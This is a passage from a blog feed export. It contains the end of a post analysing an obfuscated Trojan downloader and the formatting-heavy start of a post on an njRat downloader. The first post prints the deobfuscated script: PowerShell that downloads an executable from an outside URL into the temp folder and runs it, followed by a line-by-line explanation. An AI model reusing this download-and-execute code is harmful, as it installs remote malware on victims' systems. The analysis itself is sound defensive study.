&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;3.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&quot;powershell &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;4.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$gscbut = New-Object -ComObject
Msxml2.XMLHTTP;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;5.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$hgttbdy = New-Object -ComObject
ADODB.Stream;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;6.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$zteyxhj = $env:temp + &#39;\Dropbo.exe&#39;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;7.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$gscbut.open(&#39;GET&#39;,
&#39;http://team.hitweb.it/tes2t?12143&#39;, $false);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;8.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$gscbut.send();&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;9.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if($gscbut.Status -eq &quot;200&quot;)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;10.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{$hgttbdy.open();&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;11.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$hgttbdy.type = 1;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;12.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$hgttbdy.write($gscbut.responseBody);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;13.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$hgttbdy.position = 0;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;14.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$hgttbdy.savetofile($zteyxhj);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;15.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$hgttbdy.close();}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;16.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Start-Process $zteyxhj;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;17. ,0,
true&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;Steps:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;1.-2. and
17. Create VBScipt shell object and execute string. Create no window and wait
the script to finish&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;3. The
string contains Powershell script&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;4. Create XMLHTTP
object&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;5. Create ADODB.Stream
object&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;6. Create a
temporary file %TEMP%\Dropbo.exe&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;7.-8. Open
HTTP connection&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;9. Check if
the connection was established&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;10.-15.
Read the HTTP response stream and write it to temporary file %TEMP%\Dropbo.exe&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;16. Execute
%TEMP%\Dropbo.exe&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/5730491039118393645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/5730491039118393645' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/5730491039118393645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/5730491039118393645'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/12/deobfuscating-trojan-downloader-scripts.html' title='Deobfuscating Trojan downloader scripts i.e. basics to get you started'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-7779436135510904213</id><published>2018-11-22T06:25:00.000-08:00</published><updated>2018-11-22T06:27:39.008-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="deobfuscation"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="njRat"/><category scheme="http://www.blogger.com/atom/ns#" term="VBscipt"/><title type='text'>Analysing njRat a.k.a Generic.MSIL.Bladabindi downloader</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:OfficeDocumentSettings&gt;
  &lt;o:AllowPNG/&gt;
 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:HyphenationZone&gt;21&lt;/w:HyphenationZone&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;FI&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;--&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;true&quot;
  DefSemiHidden=&quot;true&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;267&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;59&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Revision&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;34&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;List Paragraph&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
